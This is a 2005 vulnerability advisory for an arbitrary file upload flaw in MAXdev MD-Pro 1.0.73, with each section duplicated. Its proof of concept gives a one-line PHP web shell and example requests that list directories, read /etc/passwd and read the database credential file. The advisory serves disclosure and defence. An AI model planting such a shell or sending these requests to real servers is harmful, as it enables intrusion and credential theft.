MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
BID:14750
Info
MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
| Bugtraq ID: | 14750 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 06 2005 12:00AM |
| Updated: | Sep 06 2005 12:00AM |
| Credit: | rgod is credited with the discovery of this vulnerability. |
| Vulnerable: |
MAXdev MD-Pro 1.0.73 |
| Not Vulnerable: | |
Discussion
MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
MAXdev MD-Pro is prone to an arbitrary remote file upload vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
This issue is due to a design error in the application that uses a blacklist technique, saying what file extensions can not be uploaded, versus a whitelist design that would only permit certain file extensions. An attacker can exploit this vulnerability to upload arbitrary files including malicious scripts and possibly execute the script on the affected server.
This can ultimately facilitate unauthorized access in the context of the Web server.
MAXdev MD-Pro is prone to an arbitrary remote file upload vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
This issue is due to a design error in the application that uses a blacklist technique, saying what file extensions can not be uploaded, versus a whitelist design that would only permit certain file extensions. An attacker can exploit this vulnerability to upload arbitrary files including malicious scripts and possibly execute the script on the affected server.
This can ultimately facilitate unauthorized access in the context of the Web server.
Exploit / POC
MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
No exploit is required.
The following proof of concept is available:
upload a file with .inc extension with this code inside:
<?php
error_reporting(0);
system($_GET[c]);
?>
now list directories with:
http://www.example.com/upload/dl/[filename].inc?c=ls%20-la
see /etc/passwd file:
http://www.example.com/upload/dl/[filename].inc?c=cat%20/etc/passwd
see database username and password:
http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php
No exploit is required.
The following proof of concept is available:
upload a file with .inc extension with this code inside:
<?php
error_reporting(0);
system($_GET[c]);
?>
now list directories with:
http://www.example.com/upload/dl/[filename].inc?c=ls%20-la
see /etc/passwd file:
http://www.example.com/upload/dl/[filename].inc?c=cat%20/etc/passwd
see database username and password:
http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php
Solution / Fix
MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
MAXdev MD-Pro Arbitrary Remote File Upload Vulnerability
References:
References: